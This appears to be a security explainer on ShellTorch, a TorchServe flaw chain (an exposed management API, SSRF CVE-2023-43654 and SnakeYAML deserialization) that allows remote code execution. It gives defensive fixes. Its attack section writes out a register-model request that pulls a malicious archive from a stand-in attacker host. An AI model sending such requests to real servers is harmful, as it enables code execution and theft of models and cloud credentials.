ShellTorch is the name for a chain of flaws in TorchServe, the open-source server for running PyTorch models, disclosed in October 2023. The management API often listened on all interfaces with no authentication; CVE-2023-43654, a server-side request forgery, let anyone make it download a model archive from any URL; and unsafe YAML parsing (CVE-2022-1471 in SnakeYAML) in a model config turned that into remote code execution. TorchServe 0.1.0 to 0.8.1 were affected; 0.8.2 fixed the chain.
What ShellTorch is
TorchServe serves trained PyTorch models over HTTP. It exposes an inference API for predictions and a separate management API, usually on port 8081, for registering and unloading models. ShellTorch combines three weaknesses:
- An exposed management API. In many deployments, including some default container setups, the management API listened on
0.0.0.0with no authentication, so anyone who could reach the port could manage models. - CVE-2023-43654, [server-side request forgery](/learn/application-security/ssrf). The
allowed_urlssetting defaulted to allowing every URL, so the register-model call would fetch a model archive from any attacker-controlled server and write it to disk. - Unsafe YAML deserialization (CVE-2022-1471). TorchServe used SnakeYAML to read model configuration, and SnakeYAML's default constructor could instantiate arbitrary Java classes, turning a malicious config file into code execution.
The result is code execution on a GPU server that often holds proprietary models, training data and cloud credentials.
How the attack works
Shown for defensive context, the chain needs only network reach to the management port:
- Register a model from a remote URL:
POST /models?url=http://attacker.example/evil.marto the management API. TorchServe downloads the model archive. - The archive carries a malicious config whose YAML triggers SnakeYAML to build an attacker-chosen Java object, or a model handler file with Python code that runs on load.
- Code runs as the TorchServe process, with access to every loaded model, mounted datasets and any cloud credentials on the host.
Internet scans at disclosure found thousands of TorchServe management interfaces exposed publicly. The same pattern, an ML serving tool that trusts whoever can reach it, shows up again and again in AI infrastructure; see model file supply-chain attacks for the wider class.
How to fix and defend
- Upgrade TorchServe to 0.8.2 or later, and preferably a current release, since later versions added token authorization for the management API.
- Bind the management API to localhost with
management_address=http://127.0.0.1:8081inconfig.properties, and never expose ports 8081 or 8082 to the internet. - Set `allowed_urls` to a strict regex for your own model registry so the server cannot fetch archives from arbitrary hosts.
- Treat model files as code. Only load archives from trusted, signed sources, because a model archive can carry executable handlers and configuration.
- Hunt for unexpected model registrations in TorchServe logs and outbound downloads from model servers.
References
- [1]TorchServe advisory GHSA-8fxr-qfr9-p34w (CVE-2023-43654)(PyTorch)
- [2]NVD: CVE-2023-43654(NIST NVD)
- [3]NVD: CVE-2022-1471 (SnakeYAML)(NIST NVD)
- [4]MITRE CWE-502: Deserialization of Untrusted Data(MITRE)
- [5]MITRE ATT&CK: Exploit Public-Facing Application (T1190)(MITRE)